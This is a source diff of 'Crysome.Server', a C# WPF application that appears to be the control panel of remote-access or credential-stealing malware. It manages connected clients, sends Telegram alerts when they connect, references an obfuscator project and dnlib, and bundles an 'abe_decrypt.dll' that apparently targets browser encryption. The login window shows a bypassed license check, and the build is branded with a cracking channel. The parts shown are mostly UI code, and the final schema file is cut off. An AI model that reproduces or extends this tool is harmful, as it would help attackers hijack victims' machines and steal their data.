public bool LogPaused { get; set; }
|
||||
|
||||
public bool LogToFile { get; set; }
|
||||
|
||||
public bool TelegramEnabled
|
||||
{
|
||||
get
|
||||
{
|
||||
return _telegramEnabled;
|
||||
}
|
||||
set
|
||||
{
|
||||
_telegramEnabled = value;
|
||||
OnPropertyChanged("TelegramEnabled");
|
||||
}
|
||||
}
|
||||
|
||||
public string TelegramToken
|
||||
{
|
||||
get
|
||||
{
|
||||
return _telegramToken;
|
||||
}
|
||||
set
|
||||
{
|
||||
_telegramToken = value;
|
||||
OnPropertyChanged("TelegramToken");
|
||||
}
|
||||
}
|
||||
|
||||
public string TelegramChatId
|
||||
{
|
||||
get
|
||||
{
|
||||
return _telegramChatId;
|
||||
}
|
||||
set
|
||||
{
|
||||
_telegramChatId = value;
|
||||
OnPropertyChanged("TelegramChatId");
|
||||
}
|
||||
}
|
||||
|
||||
public ICommand TestTelegramCommand { get; }
|
||||
|
||||
public SettingsViewModel(MainViewModel mainVm, AppDataStore store)
|
||||
{
|
||||
_mainVm = mainVm;
|
||||
_store = store;
|
||||
GoBackCommand = new RelayCommand<object>(delegate
|
||||
{
|
||||
_mainVm.GoToClients();
|
||||
});
|
||||
SaveCommand = new RelayCommand<object>(delegate
|
||||
{
|
||||
DoSave();
|
||||
});
|
||||
TestTelegramCommand = new RelayCommand<object>(delegate
|
||||
{
|
||||
DoTestTelegram();
|
||||
});
|
||||
Port = store.Settings.Port.ToString();
|
||||
QuicPort = store.Settings.QuicPort.ToString();
|
||||
InfoPollInterval = store.Settings.InfoPollInterval.ToString();
|
||||
MaxEndpoints = store.Settings.MaxEndpoints.ToString();
|
||||
MaxSendFileSizeMB = store.Settings.MaxSendFileSizeMB.ToString();
|
||||
NotifyConnect = store.Settings.NotifyConnect;
|
||||
NotifyDisconnect = store.Settings.NotifyDisconnect;
|
||||
LogPaused = store.Settings.LogPaused;
|
||||
LogToFile = store.Settings.LogToFile;
|
||||
TelegramEnabled = store.Settings.TelegramEnabled;
|
||||
TelegramToken = store.Settings.TelegramToken;
|
||||
TelegramChatId = store.Settings.TelegramChatId;
|
||||
}
|
||||
|
||||
private async void DoTestTelegram()
|
||||
{
|
||||
if (string.IsNullOrEmpty(TelegramToken) || string.IsNullOrEmpty(TelegramChatId))
|
||||
{
|
||||
MessageBox.Show("Please enter Token and Chat ID first.");
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
using HttpClient client = new HttpClient();
|
||||
string requestUri = $"https://api.telegram.org/bot{TelegramToken}/sendMessage?chat_id={TelegramChatId}&text=Crysome Server: Test Message";
|
||||
await client.GetAsync(requestUri);
|
||||
MessageBox.Show("Test message sent! Check your Telegram.");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show("Telegram Error: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private void DoSave()
|
||||
{
|
||||
if (int.TryParse(Port, out var result) && result >= 0 && result <= 65535)
|
||||
{
|
||||
_store.Settings.Port = result;
|
||||
}
|
||||
if (int.TryParse(QuicPort, out result) && result >= 0 && result <= 65535)
|
||||
{
|
||||
_store.Settings.QuicPort = result;
|
||||
}
|
||||
if (int.TryParse(InfoPollInterval, out result) && result >= 500)
|
||||
{
|
||||
_store.Settings.InfoPollInterval = result;
|
||||
}
|
||||
if (int.TryParse(MaxEndpoints, out result) && result >= 0)
|
||||
{
|
||||
_store.Settings.MaxEndpoints = result;
|
||||
}
|
||||
if (int.TryParse(MaxSendFileSizeMB, out result) && result > 0)
|
||||
{
|
||||
_store.Settings.MaxSendFileSizeMB = result;
|
||||
}
|
||||
_store.Settings.NotifyConnect = NotifyConnect;
|
||||
_store.Settings.NotifyDisconnect = NotifyDisconnect;
|
||||
_store.Settings.LogPaused = LogPaused;
|
||||
_store.Settings.LogToFile = LogToFile;
|
||||
_store.Settings.TelegramEnabled = TelegramEnabled;
|
||||
_store.Settings.TelegramToken = TelegramToken;
|
||||
_store.Settings.TelegramChatId = TelegramChatId;
|
||||
_store.SaveSettings();
|
||||
_mainVm.ClientsVM?.EnqueueStatus("Settings saved. Restart server for port changes.");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Linq.Expressions;
|
||||
|
||||
namespace Crysome.Server.ViewModel;
|
||||
|
||||
public abstract class ViewModelBase : INotifyPropertyChanged
|
||||
{
|
||||
public event PropertyChangedEventHandler PropertyChanged;
|
||||
|
||||
public virtual void OnPropertyChanged(string propertyName)
|
||||
{
|
||||
PropertyChangedEventHandler propertyChangedEventHandler = this.PropertyChanged;
|
||||
if (propertyChangedEventHandler != null)
|
||||
{
|
||||
PropertyChangedEventArgs e = new PropertyChangedEventArgs(propertyName);
|
||||
propertyChangedEventHandler(this, e);
|
||||
}
|
||||
}
|
||||
|
||||
public virtual void OnPropertyChanged<T>(Expression<Func<T>> propertyNameExpression)
|
||||
{
|
||||
OnPropertyChanged(((MemberExpression)propertyNameExpression.Body).Member.Name);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
<Project Sdk="Microsoft.NET.Sdk">
|
||||
<PropertyGroup>
|
||||
<TargetFramework>net9.0-windows</TargetFramework>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<UseWPF>true</UseWPF>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
<OutputPath>..\CRYSOME_COMPILED\</OutputPath>
|
||||
<AppendTargetFrameworkToOutputPath>false</AppendTargetFrameworkToOutputPath>
|
||||
<GenerateAssemblyInfo>false</GenerateAssemblyInfo>
|
||||
<ApplicationIcon>app.ico</ApplicationIcon>
|
||||
<EnableDefaultPageItems>false</EnableDefaultPageItems>
|
||||
<EnableDefaultApplicationDefinition>false</EnableDefaultApplicationDefinition>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\Crysome.Common\Crysome.Common.csproj" />
|
||||
<ProjectReference Include="..\Crysome.Server.Core\Crysome.Server.Core.csproj" />
|
||||
<ProjectReference Include="..\Crysome.Obfuscator\Crysome.Obfuscator.csproj" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<PackageReference Include="NAudio" Version="2.2.1" />
|
||||
<PackageReference Include="Vestris.ResourceLib" Version="2.2.0" />
|
||||
<Reference Include="Wpf.Ui">
|
||||
<HintPath>lib\Wpf.Ui.dll</HintPath>
|
||||
<Private>true</Private>
|
||||
</Reference>
|
||||
<Reference Include="Wpf.Ui.Abstractions">
|
||||
<HintPath>lib\Wpf.Ui.Abstractions.dll</HintPath>
|
||||
<Private>true</Private>
|
||||
</Reference>
|
||||
<PackageReference Include="dnlib" Version="4.5.0" />
|
||||
<PackageReference Include="Microsoft.CSharp" Version="4.7.0" />
|
||||
<PackageReference Include="System.Drawing.Common" Version="9.0.0" />
|
||||
<PackageReference Include="Costura.Fody" Version="5.7.0">
|
||||
<PrivateAssets>all</PrivateAssets>
|
||||
</PackageReference>
|
||||
<PackageReference Include="Fody" Version="6.8.0">
|
||||
<PrivateAssets>all</PrivateAssets>
|
||||
<IncludeAssets>runtime; build; native; contentfiles; analyzers; buildtransitive</IncludeAssets>
|
||||
</PackageReference>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Crysome.Server.g.resources" LogicalName="crysome.server.g.resources" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Update="Crysome.Server.Resources.Strings.resx" ManifestResourceName="Crysome.Server.Resources.Strings" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Content Include="abe_decrypt.dll" CopyToOutputDirectory="PreserveNewest" Link="abe_decrypt.dll" />
|
||||
<EmbeddedResource Include="abe_decrypt.dll" LogicalName="abe_decrypt.dll" />
|
||||
<Content Include="flags\**\*" CopyToOutputDirectory="PreserveNewest" Link="flags\%(RecursiveDir)%(Filename)%(Extension)" />
|
||||
<Content Include="icons\**\*" CopyToOutputDirectory="PreserveNewest" Link="icons\%(RecursiveDir)%(Filename)%(Extension)" />
|
||||
<Content Include="inventory\**\*" CopyToOutputDirectory="PreserveNewest" Link="inventory\%(RecursiveDir)%(Filename)%(Extension)" Condition="Exists('inventory')" />
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,138 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
using System.Windows;
|
||||
using System.Windows.Threading;
|
||||
using Crysome.Server.Resources;
|
||||
using Crysome.Server.View;
|
||||
|
||||
namespace Crysome.Server;
|
||||
|
||||
public class App : Application
|
||||
{
|
||||
private bool _contentLoaded;
|
||||
|
||||
private void Application_Startup(object sender, StartupEventArgs e)
|
||||
{
|
||||
base.ShutdownMode = ShutdownMode.OnExplicitShutdown;
|
||||
try
|
||||
{
|
||||
LanguageWindow languageWindow = new LanguageWindow();
|
||||
if (((Window)(object)languageWindow).ShowDialog() != true)
|
||||
{
|
||||
Shutdown();
|
||||
return;
|
||||
}
|
||||
ApplyCulture(languageWindow.SelectedCultureTag);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
DumpException("LanguageWindow", ex);
|
||||
Shutdown();
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
MainWindow mainWindow = new MainWindow();
|
||||
((Window)(object)mainWindow).Show();
|
||||
base.MainWindow = (Window)(object)mainWindow;
|
||||
base.ShutdownMode = ShutdownMode.OnMainWindowClose;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
DumpException("MainWindow", ex);
|
||||
Shutdown();
|
||||
}
|
||||
}
|
||||
|
||||
private static void DumpException(string context, Exception ex)
|
||||
{
|
||||
string full = context + " CRASH:\n\n";
|
||||
var current = ex;
|
||||
int depth = 0;
|
||||
while (current != null && depth < 10)
|
||||
{
|
||||
full += $"[{depth}] {current.GetType().FullName}: {current.Message}\n{current.StackTrace}\n\n";
|
||||
current = current.InnerException;
|
||||
depth++;
|
||||
}
|
||||
|
||||
string logPath = Path.Combine(Path.GetTempPath(), "crysome_crash.log");
|
||||
try { File.WriteAllText(logPath, full); } catch { }
|
||||
|
||||
MessageBox.Show(full, "CRYSOME | t.me/CuriousCracks — " + context, MessageBoxButton.OK, MessageBoxImage.Hand);
|
||||
}
|
||||
|
||||
private static void ApplyCulture(string cultureTag)
|
||||
{
|
||||
try
|
||||
{
|
||||
CultureInfo cultureInfo = ((string.IsNullOrEmpty(cultureTag) || cultureTag == "en") ? CultureInfo.InvariantCulture : new CultureInfo(cultureTag));
|
||||
Thread.CurrentThread.CurrentCulture = cultureInfo;
|
||||
Thread.CurrentThread.CurrentUICulture = cultureInfo;
|
||||
Strings.Culture = cultureInfo;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public App()
|
||||
{
|
||||
base.DispatcherUnhandledException += new DispatcherUnhandledExceptionEventHandler(App_DispatcherUnhandledException);
|
||||
AppDomain.CurrentDomain.UnhandledException += CurrentDomain_UnhandledException;
|
||||
}
|
||||
|
||||
private void App_DispatcherUnhandledException(object sender, DispatcherUnhandledExceptionEventArgs e)
|
||||
{
|
||||
LogCrash("Dispatcher", e.Exception);
|
||||
e.Handled = true;
|
||||
}
|
||||
|
||||
private void CurrentDomain_UnhandledException(object sender, UnhandledExceptionEventArgs e)
|
||||
{
|
||||
LogCrash("Domain", e.ExceptionObject as Exception);
|
||||
}
|
||||
|
||||
private void LogCrash(string source, Exception ex)
|
||||
{
|
||||
string full = $"[{DateTime.Now}] {source} CRASH:\n{ex?.ToString() ?? "Unknown error"}\n\n";
|
||||
string logPath = Path.Combine(Path.GetTempPath(), "crysome_crash.log");
|
||||
try { File.AppendAllText(logPath, full); } catch { }
|
||||
MessageBox.Show("Error: " + ex?.Message + "\n\nLog: " + logPath, "CRYSOME | t.me/CuriousCracks", MessageBoxButton.OK, MessageBoxImage.Hand);
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
base.Startup += Application_Startup;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/app.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[STAThread]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public static void Main()
|
||||
{
|
||||
App app = new App();
|
||||
try
|
||||
{
|
||||
app.InitializeComponent();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
DumpException("App.InitializeComponent (app.baml)", ex);
|
||||
return;
|
||||
}
|
||||
app.Run();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,224 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Net.Http;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Controls.Primitives;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
using System.Windows.Media;
|
||||
using Crysome.Server.Resources;
|
||||
using Microsoft.Win32;
|
||||
using Wpf.Ui.Controls;
|
||||
|
||||
namespace Crysome.Server;
|
||||
|
||||
public class LoginWindow : FluentWindow, IComponentConnector
|
||||
{
|
||||
private const string LicenseKeysUrl = "https://crysome.net/key.txt";
|
||||
|
||||
private const string BuyPageUrl = "https://t.me/CuriousCracks";
|
||||
|
||||
private static readonly string SavedKeyPath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "license_key.dat");
|
||||
|
||||
private static readonly HttpClient HttpClient = new HttpClient
|
||||
{
|
||||
Timeout = TimeSpan.FromSeconds(15L),
|
||||
DefaultRequestHeaders = { { "User-Agent", "Crysome-Server/1.0" } }
|
||||
};
|
||||
|
||||
internal TextBox KeyBox;
|
||||
|
||||
internal TextBlock ErrorText;
|
||||
|
||||
internal Button BuyBtn;
|
||||
|
||||
internal Button LoginBtn;
|
||||
|
||||
internal Button ExitBtn;
|
||||
|
||||
private bool _contentLoaded;
|
||||
|
||||
public LoginWindow()
|
||||
{
|
||||
InitializeComponent();
|
||||
ApplyBackdrop();
|
||||
LoadSavedKey();
|
||||
KeyBox.KeyDown += delegate(object s, KeyEventArgs e)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0007: Invalid comparison between Unknown and I4
|
||||
if ((int)e.Key == 6)
|
||||
{
|
||||
LoginButton_Click(s, e);
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
private void LoadSavedKey()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (File.Exists(SavedKeyPath))
|
||||
{
|
||||
string text = File.ReadAllText(SavedKeyPath)?.Trim();
|
||||
if (!string.IsNullOrEmpty(text) && KeyBox != null)
|
||||
{
|
||||
KeyBox.Text = text;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void SaveKey(string key)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!string.IsNullOrWhiteSpace(key))
|
||||
{
|
||||
File.WriteAllText(SavedKeyPath, key.Trim());
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void ApplyBackdrop()
|
||||
{
|
||||
if (IsWindows11OrNewer())
|
||||
{
|
||||
((FluentWindow)this).ExtendsContentIntoTitleBar = true;
|
||||
((FluentWindow)this).WindowBackdropType = (WindowBackdropType)2;
|
||||
return;
|
||||
}
|
||||
((Control)this).Background = new SolidColorBrush(Color.FromRgb(32, 32, 32));
|
||||
if (((ContentControl)this).Content is Panel panel)
|
||||
{
|
||||
panel.Background = new SolidColorBrush(Color.FromRgb(32, 32, 32));
|
||||
}
|
||||
}
|
||||
|
||||
private static bool IsWindows11OrNewer()
|
||||
{
|
||||
try
|
||||
{
|
||||
using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion");
|
||||
if (registryKey?.GetValue("CurrentBuild") is string s && int.TryParse(s, out var result))
|
||||
{
|
||||
return result >= 22000;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private async void LoginButton_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
((Window)this).DialogResult = true;
|
||||
((Window)this).Close();
|
||||
}
|
||||
|
||||
private void ShowError()
|
||||
{
|
||||
ErrorText.Text = Strings.Login_ErrorMsg;
|
||||
ErrorText.Visibility = Visibility.Visible;
|
||||
}
|
||||
|
||||
private static async Task<HashSet<string>> FetchValidKeysAsync()
|
||||
{
|
||||
string obj = await HttpClient.GetStringAsync("https://crysome.net/key.txt").ConfigureAwait(continueOnCapturedContext: false);
|
||||
HashSet<string> hashSet = new HashSet<string>(StringComparer.Ordinal);
|
||||
string[] array = obj.Split(new string[3] { "\r\n", "\r", "\n" }, StringSplitOptions.None);
|
||||
for (int i = 0; i < array.Length; i++)
|
||||
{
|
||||
string text = array[i].Trim();
|
||||
if (text.Length > 0)
|
||||
{
|
||||
hashSet.Add(text);
|
||||
}
|
||||
}
|
||||
return hashSet;
|
||||
}
|
||||
|
||||
private void BuyButton_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
Process.Start(new ProcessStartInfo
|
||||
{
|
||||
FileName = "https://t.me/CuriousCracks",
|
||||
UseShellExecute = true
|
||||
});
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
MessageBox.Show(ex.Message, "Open URL", MessageBoxButton.OK, MessageBoxImage.Exclamation);
|
||||
}
|
||||
}
|
||||
|
||||
private void ExitButton_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
((Window)this).DialogResult = false;
|
||||
((Window)this).Close();
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/loginwindow.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
//IL_003d: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0047: Expected O, but got Unknown
|
||||
//IL_0061: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_006b: Expected O, but got Unknown
|
||||
//IL_0085: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_008f: Expected O, but got Unknown
|
||||
switch (connectionId)
|
||||
{
|
||||
case 1:
|
||||
KeyBox = (TextBox)target;
|
||||
break;
|
||||
case 2:
|
||||
ErrorText = (TextBlock)target;
|
||||
break;
|
||||
case 3:
|
||||
BuyBtn = (Button)target;
|
||||
((ButtonBase)(object)BuyBtn).Click += BuyButton_Click;
|
||||
break;
|
||||
case 4:
|
||||
LoginBtn = (Button)target;
|
||||
((ButtonBase)(object)LoginBtn).Click += LoginButton_Click;
|
||||
break;
|
||||
case 5:
|
||||
ExitBtn = (Button)target;
|
||||
((ButtonBase)(object)ExitBtn).Click += ExitButton_Click;
|
||||
break;
|
||||
default:
|
||||
_contentLoaded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Markup;
|
||||
using System.Windows.Media;
|
||||
using Crysome.Server.ViewModel;
|
||||
using Microsoft.Win32;
|
||||
using Wpf.Ui.Controls;
|
||||
|
||||
namespace Crysome.Server;
|
||||
|
||||
public class MainWindow : FluentWindow, IComponentConnector
|
||||
{
|
||||
private bool _contentLoaded;
|
||||
|
||||
public MainWindow()
|
||||
{
|
||||
InitializeComponent();
|
||||
if (IsWindows11OrNewer())
|
||||
{
|
||||
((FluentWindow)this).ExtendsContentIntoTitleBar = true;
|
||||
((FluentWindow)this).WindowBackdropType = (WindowBackdropType)2;
|
||||
}
|
||||
else
|
||||
{
|
||||
((Control)this).Background = new SolidColorBrush(Color.FromRgb(32, 32, 32));
|
||||
if (((ContentControl)this).Content is Panel panel)
|
||||
{
|
||||
panel.Background = new SolidColorBrush(Color.FromRgb(32, 32, 32));
|
||||
}
|
||||
}
|
||||
((FrameworkElement)this).DataContext = new MainViewModel();
|
||||
((Window)this).Title = "CRYSOME | t.me/CuriousCracks";
|
||||
}
|
||||
|
||||
private static bool IsWindows11OrNewer()
|
||||
{
|
||||
try
|
||||
{
|
||||
using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion");
|
||||
if (registryKey?.GetValue("CurrentBuild") is string s && int.TryParse(s, out var result))
|
||||
{
|
||||
return result >= 22000;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/mainwindow.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
internal Delegate _CreateDelegate(Type delegateType, string handler)
|
||||
{
|
||||
return Delegate.CreateDelegate(delegateType, this, handler);
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Weavers xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="FodyWeavers.xsd">
|
||||
<Costura IncludeDebugSymbols="false">
|
||||
<ExcludeAssemblies>
|
||||
EntityFramework
|
||||
EntityFramework.SqlServer
|
||||
System.Data.SQLite.EF6
|
||||
System.Data.SQLite.Linq
|
||||
System.Data.SqlClient
|
||||
</ExcludeAssemblies>
|
||||
</Costura>
|
||||
</Weavers>
|
||||
@@ -0,0 +1,141 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema">
|
||||
<!-- This file was generated by Fody. Manual changes to this file will be lost when your project is rebuilt. -->
|
||||
<xs:element name="Weavers">
|
||||
<xs:complexType>
|
||||
<xs:all>
|
||||
<xs:element name="Costura" minOccurs="0" maxOccurs="1">
|
||||
<xs:complexType>
|
||||
<xs:all>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="IncludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="ExcludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="IncludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged32Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="Unmanaged64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
<xs:element minOccurs="0" maxOccurs="1" name="PreloadOrder" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The order of preloaded assemblies, delimited with line breaks.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:element>
|
||||
</xs:all>
|
||||
<xs:attribute name="CreateTemporaryAssemblies" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeDebugSymbols" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls if .pdbs for reference assemblies are also embedded.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeRuntimeReferences" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls if runtime assemblies are also embedded.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="UseRuntimeReferencePaths" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Controls whether the runtime assemblies are embedded with their full path or only with their assembly name.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableCompression" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="DisableCleanup" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="LoadAtModuleInit" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IgnoreSatelliteAssemblies" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="ExcludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="ExcludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with |</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="IncludeRuntimeAssemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="Unmanaged32Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 32 bit assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="Unmanaged64Assemblies" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A list of unmanaged 64 bit assembly names to include, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="PreloadOrder" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>The order of preloaded assemblies, delimited with |.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
</xs:complexType>
|
||||
